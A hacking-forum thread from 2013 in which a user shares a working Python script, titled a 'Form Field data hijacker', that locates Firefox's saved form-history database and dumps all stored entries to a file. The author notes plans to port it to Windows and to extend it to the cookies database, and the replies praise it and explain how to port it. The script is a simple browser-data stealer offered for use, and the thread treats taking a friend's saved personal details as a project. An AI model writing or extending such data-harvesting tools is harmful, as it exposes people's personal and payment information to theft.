Author Topic: [Python] Form Field data hijacker for FF  (Read 3904 times)

0 Members and 1 Guest are viewing this topic.

Offline Live Wire

  • Knight
  • **
  • Posts: 189
  • Cookies: 4
  • Up on your Net
    • View Profile
[Python] Form Field data hijacker for FF
« on: February 06, 2013, 10:30:48 pm »
So, I was watching a friend buy something, and noticed that everything in the fields was saved data. After some research, I discovered that Firefox stored data in sqlite databases, which could be read with python. So, after some research and programming, I created a program that connects to the database, dumps the data and writes it to a file. Take a look:

Code: [Select]
#!/usr/bin/python
'''
Form Field Jack for Firefox (currently only tested on Ubuntu)
v1.0 Feb 6, 2013
Authored by Live Wire
'''

import glob
import sqlite3 as sql

output = open("field_history_output.txt","w")
ffFormFields = "/home/drew/.mozilla/firefox/*.default/formhistory.sqlite"

def findFile(path):
    return glob.glob(path)

def main():
    fieldsSQL = findFile(ffFormFields)        #returns as array
    con = sql.connect(fieldsSQL[0])           
    cur = con.cursor()
    cur.execute("select * from moz_formhistory;")
    rawSQLData = cur.fetchall()
    strSQLData = str(rawSQLData)            #converts to string data
    output.write(strSQLData)            #writes to file

if __name__=="__main__":
    main()

This is one of my first actual programs in python, please let me know what you think! Also working on a parser for the output, sorry its kinda messy. Also working on porting it to windows systems, as this only works on Linux right now.  Next comes the cookies database, which is working, but still rough.

Any comments welcome!
« Last Edit: February 06, 2013, 10:31:11 pm by Live Wire »
"There is no right or wrong, there is only fun and boring."

Offline vezzy

  • Royal Highness
  • ****
  • Posts: 771
  • Cookies: 172
    • View Profile
Re: [Python] Form Field data hijacker for FF
« Reply #1 on: February 07, 2013, 12:45:06 am »
Not bad.

A Windows port would be a simple job, at least up to this point. All you would really need to do is change the path. Too bad the os.path.join() method wouldn't work in this case. One of the really nifty things in Python that ensures cross-compatibility.

Will watch this.
Quote from: Dippy hippy
Just brushing though. I will be semi active mainly came to find a HQ botnet, like THOR or just any p2p botnet

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: [Python] Form Field data hijacker for FF
« Reply #2 on: February 07, 2013, 04:36:28 am »
Looks good :)
Iirc the book "violent python" should speak on the same subject, maybe you want to check that out.
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage